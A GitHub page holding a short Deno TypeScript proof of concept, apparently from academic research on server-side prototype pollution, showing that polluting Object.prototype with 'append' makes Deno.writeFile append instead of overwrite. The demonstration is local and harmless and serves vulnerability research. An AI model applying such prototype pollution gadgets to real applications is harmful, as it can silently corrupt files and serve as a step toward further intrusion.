forked from KTH-LangSec/server-side-prototype-pollution
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwriteFile.append.PoC.ts
31 lines (24 loc) · 873 Bytes
/
writeFile.append.PoC.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function pollute(key: string, value: any) {
((((Object as any).prototype as any)[key]) as any) = value;
}
const data = new TextEncoder().encode("foobar");
async function create(name) {
const file = await Deno.open(`./${name}`, { create: true, write: true });
await file.write(data);
file.close();
}
async function writeThenRead(name) {
await Deno.writeFile(`./${name}`, data);
const file = await Deno.open(`./${name}`, { read: true, append: false });
const buffer = new Uint8Array(16);
const count = await file.read(buffer);
const text = new TextDecoder().decode(buffer);
console.log(name, "contains", text, `(${count} bytes)`);
file.close();
Deno.remove(`./${name}`);
}
await create("unpolluted");
await create("polluted");
await writeThenRead("unpolluted");
pollute("append", true);
await writeThenRead("polluted");